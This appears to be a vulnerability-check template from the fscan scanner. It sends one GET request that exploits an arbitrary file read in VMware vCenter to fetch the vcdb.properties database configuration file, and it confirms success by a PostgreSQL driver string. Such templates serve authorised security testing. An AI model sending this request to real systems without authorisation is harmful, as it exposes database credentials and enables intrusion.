fscan/WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml

12 lines
389 B
YAML
Raw Normal View History

name: poc-yaml-vmware-vcenter-arbitrary-file-read
2021-04-22 12:06:03 +08:00
rules:
- method: GET
path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
detail:
author: MrP01ntSun(https://github.com/MrPointSun)
links:
- https://t.co/LfvbyBUhF5